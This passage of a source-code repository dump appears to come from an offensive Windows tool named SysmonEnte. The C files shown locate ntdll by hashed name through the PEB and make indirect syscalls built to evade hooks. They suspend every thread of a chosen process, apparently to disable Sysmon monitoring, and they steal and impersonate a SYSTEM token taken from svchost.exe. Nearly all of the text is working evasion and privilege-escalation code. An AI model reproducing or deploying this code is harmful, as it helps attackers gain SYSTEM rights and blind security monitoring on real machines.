| dwSuccess = SUCCESS; 128 | 129 | exit: 130 | 131 | return dwSuccess; 132 | 133 | } 134 | 135 | PVOID findNtDll(void) { 136 | 137 | PPEB pPeb = NULL; 138 | PPEB_LDR_DATA pLdrData = NULL; 139 | PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL, pModuleStart = NULL; 140 | PUNICODE_STR pDllName = NULL; 141 | 142 | PVOID pNtdllBase = NULL; 143 | 144 | pPeb = (PPEB)__readgsqword(0x60); 145 | pLdrData = pPeb->pLdr; 146 | pModuleEntry = pModuleStart = (PLDR_DATA_TABLE_ENTRY)pLdrData->InMemoryOrderModuleList.Flink; 147 | 148 | do { 149 | 150 | pDllName = &pModuleEntry->BaseDllName; 151 | 152 | if (pDllName->pBuffer == NULL) 153 | return NULL; 154 | 155 | if (djb2_unicode(toLowerW(pDllName->pBuffer)) == xor_hash(0x6391f6a9)) { 156 | pNtdllBase = (PVOID)pModuleEntry->DllBase; 157 | break; 158 | } 159 | 160 | pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->InMemoryOrderModuleList.Flink; 161 | 162 | } while (pModuleEntry != pModuleStart); 163 | 164 | return pNtdllBase; 165 | 166 | } 167 | 168 | unsigned long 169 | xor_hash(unsigned long hash) { 170 | return hash ^ HASH_KEY; 171 | } 172 | -------------------------------------------------------------------------------- /src/SysmonEnte/recycledgate.h: -------------------------------------------------------------------------------- 1 | #ifndef RECYCLEDGATE_H 2 | #define RECYCLEDGATE_H 3 | 4 | #include "windows.h" 5 | 6 | #include "misc.h" 7 | #include "peb.h" 8 | 9 | #define FAIL 0 10 | #define SUCCESS 1 11 | 12 | #define HASH_KEY 0x41424344 13 | #define SYS_STUB_SIZE 32 14 | 15 | #define UP -32 16 | #define DOWN 32 17 | 18 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 19 | 20 | typedef struct Syscall { 21 | 22 | DWORD dwSyscallNr; 23 | PVOID pRecycledGate; 24 | 25 | } Syscall, *PSyscall; 26 | 27 | 28 | DWORD GetSyscall(DWORD crypted_hash, PSyscall pSyscall); 29 | extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate); 30 | extern int DoSyscall(); 31 | 32 | PVOID findNtDll(void); 33 | unsigned long xor_hash(unsigned long hash); 34 | 35 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/threads.c: -------------------------------------------------------------------------------- 1 | #include "threads.h" 2 | 3 | BOOL SuspendResumeThreads(PAPI pApi, DWORD dwPid) { 4 | 5 | BOOL bSuccess = FALSE, bContinue = TRUE; 6 | NTSTATUS status; 7 | PVOID pBuffer = NULL; 8 | ULONG uBufferSize = 0; 9 | HANDLE hThread = NULL; 10 | 11 | _PSYSTEM_PROCESS_INFORMATION pProcessInformation = NULL; 12 | _SYSTEM_THREAD_INFORMATION threadInformation = { 0x00 }; 13 | OBJECT_ATTRIBUTES ObjectAttributes; 14 | InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); 15 | 16 | do { 17 | 18 | PrepareSyscall(pApi->Nt.NtQuerySystemInformation.dwSyscallNr, pApi->Nt.NtQuerySystemInformation.pRecycledGate); 19 | status = DoSyscall((SYSTEM_INFORMATION_CLASS)5, pBuffer, uBufferSize, &uBufferSize); 20 | 21 | if (!NT_SUCCESS(status)) { 22 | if (status == STATUS_INFO_LENGTH_MISMATCH){ 23 | if (pBuffer != NULL) 24 | pApi->Kernel32.VirtualFree(pBuffer, 0, MEM_RELEASE); 25 | pBuffer = pApi->Kernel32.VirtualAlloc(NULL, uBufferSize, MEM_COMMIT, PAGE_READWRITE); 26 | continue; 27 | } 28 | break; 29 | } 30 | 31 | else { 32 | pProcessInformation = (_PSYSTEM_PROCESS_INFORMATION)pBuffer; 33 | break; 34 | } 35 | 36 | } while (1); 37 | 38 | while (pProcessInformation && pProcessInformation->NextEntryOffset && bContinue) { 39 | 40 | if (pProcessInformation->ProcessId == dwPid) { 41 | 42 | for (ULONG i = 0; i < pProcessInformation->NumberOfThreads; i++) { 43 | 44 | threadInformation = pProcessInformation->ThreadInfos[i]; 45 | 46 | PrepareSyscall(pApi->Nt.NtOpenThread.dwSyscallNr, pApi->Nt.NtOpenThread.pRecycledGate); 47 | status = DoSyscall(&hThread, THREAD_ALL_ACCESS, &ObjectAttributes, threadInformation.ClientId); 48 | if (!NT_SUCCESS(status) || hThread == NULL) 49 | break; 50 | 51 | if (threadInformation.WaitReason == Suspended) { 52 | 53 | PrepareSyscall(pApi->Nt.NtResumeThread.dwSyscallNr, pApi->Nt.NtResumeThread.pRecycledGate); 54 | status = DoSyscall(hThread, NULL); 55 | if (!NT_SUCCESS(status)) 56 | break; 57 | 58 | } else { 59 | 60 | PrepareSyscall(pApi->Nt.NtSuspendThread.dwSyscallNr, pApi->Nt.NtSuspendThread.pRecycledGate); 61 | status = DoSyscall(hThread, NULL); 62 | if (!NT_SUCCESS(status)) 63 | break; 64 | 65 | } 66 | 67 | if (hThread) 68 | pApi->Kernel32.CloseHandle(hThread); 69 | 70 | } 71 | 72 | bContinue = FALSE; 73 | } 74 | 75 | pProcessInformation = (_PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pProcessInformation + pProcessInformation->NextEntryOffset); 76 | 77 | } 78 | 79 | bSuccess = TRUE; 80 | 81 | if (pBuffer) 82 | pApi->Kernel32.VirtualFree(pBuffer, 0, MEM_RELEASE); 83 | 84 | return bSuccess; 85 | 86 | } -------------------------------------------------------------------------------- /src/SysmonEnte/threads.h: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | BOOL SuspendResumeThreads(PAPI, DWORD); 4 | -------------------------------------------------------------------------------- /src/SysmonEnte/token.c: -------------------------------------------------------------------------------- 1 | #include "token.h" 2 | 3 | BOOL GetSystem(PAPI pApi) { 4 | 5 | BOOL bSuccess = FALSE; 6 | DWORD dwPid = 0; 7 | 8 | HANDLE hProcessSnap = NULL; 9 | PROCESSENTRY32 pe32 = { 0x00 }; 10 | CHAR cSvchost[] = {'s','v','c','h','o','s','t','.','e','x','e', 0x00}; 11 | 12 | pe32.dwSize = sizeof(PROCESSENTRY32); 13 | 14 | hProcessSnap = pApi->Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 15 | if (hProcessSnap == INVALID_HANDLE_VALUE) 16 | goto exit; 17 | 18 | if (!pApi->Kernel32.Process32First(hProcessSnap, &pe32)) 19 | goto exit; 20 | 21 | do { 22 | if (!pApi->Kernel32.lstrcmpA(cSvchost, pe32.szExeFile)) { 23 | dwPid = pe32.th32ProcessID; 24 | bSuccess = stealToken(pApi, dwPid); 25 | if (bSuccess == SUCCESS) 26 | break; 27 | } 28 | 29 | } while (pApi->Kernel32.Process32Next(hProcessSnap, &pe32)); 30 | 31 | if (bSuccess == FALSE) 32 | goto exit; 33 | 34 | bSuccess = TRUE; 35 | 36 | exit: 37 | 38 | if (hProcessSnap) 39 | pApi->Kernel32.CloseHandle(hProcessSnap); 40 | 41 | return bSuccess; 42 | 43 | } 44 | 45 | BOOL stealToken(PAPI pApi, DWORD dwPid) { 46 | 47 | BOOL bSuccess = FALSE; 48 | DWORD dwLength = 0; 49 | NTSTATUS status; 50 | 51 | HANDLE hProcess = NULL, hToken = NULL; 52 | PTOKEN_USER tokenuser = NULL; 53 | OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; 54 | CLIENT_ID uPid = { 0 }; 55 | SID_NAME_USE sidtype = { 0x00 }; 56 | 57 | CHAR username[MAX_NAME] = { 0x00 }; 58 | CHAR domainname[MAX_NAME] = { 0x00 }; 59 | 60 | DWORD dwSizeUserName = sizeof(username); 61 | DWORD dwSizeDomainName = sizeof(domainname); 62 | 63 | CHAR cSystem[] = {'S','Y','S','T','E','M', 0x00}; 64 | 65 | InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); 66 | 67 | uPid.UniqueProcess = dwPid; 68 | uPid.UniqueThread = 0; 69 | 70 | PrepareSyscall(pApi->Nt.NtOpenProcess.dwSyscallNr, pApi->Nt.NtOpenProcess.pRecycledGate); 71 | status = DoSyscall(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &ObjectAttributes, &uPid); 72 | if (!NT_SUCCESS(status)) 73 | goto exit; 74 | 75 | PrepareSyscall(pApi->Nt.NtOpenProcessToken.dwSyscallNr, pApi->Nt.NtOpenProcessToken.pRecycledGate); 76 | status = DoSyscall(hProcess, TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE, &hToken); 77 | if (!NT_SUCCESS(status)) 78 | goto exit; 79 | 80 | pApi->Advapi32.GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)TokenUser, NULL, 0, &dwLength); 81 | if (dwLength == 0) 82 | goto exit; 83 | 84 | tokenuser = (PTOKEN_USER)pApi->Kernel32.VirtualAlloc(0, dwLength, MEM_COMMIT, PAGE_READWRITE); 85 | if (tokenuser == NULL) 86 | goto exit; 87 | 88 | bSuccess = pApi->Advapi32.GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)TokenUser, tokenuser, dwLength, &dwLength); 89 | if (bSuccess == FAIL) 90 | goto exit; 91 | 92 | bSuccess = pApi->Advapi32.LookupAccountSidA(NULL, tokenuser->User.Sid, username, &dwSizeUserName, domainname, &dwSizeDomainName, &sidtype); 93 | if (bSuccess == FAIL) 94 | goto exit; 95 | 96 | if (pApi->Kernel32.lstrcmpA(username, cSystem)) { 97 | bSuccess = FALSE; 98 | goto exit; 99 | } 100 | 101 | bSuccess = pApi->Advapi32.ImpersonateLoggedonUser(hToken); 102 | if (bSuccess == FAIL) 103 | goto exit; 104 | 105 | bSuccess = TRUE; 106 | 107 | exit: 108 | 109 | if (hProcess) 110 | pApi->Kernel32.CloseHandle(hProcess); 111 | 112 | if (tokenuser) 113 | pApi->Kernel32.VirtualFree(tokenuser, 0, MEM_RELEASE); 114 | 115 | return bSuccess; 116 | 117 | } -------------------------------------------------------------------------------- /src/SysmonEnte/token.h: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | #define MAX_NAME 256 4 | 5 | BOOL GetSystem(PAPI); 6 | 7 | BOOL stealToken(PAPI, DWORD); --------------------------------------------------------------------------------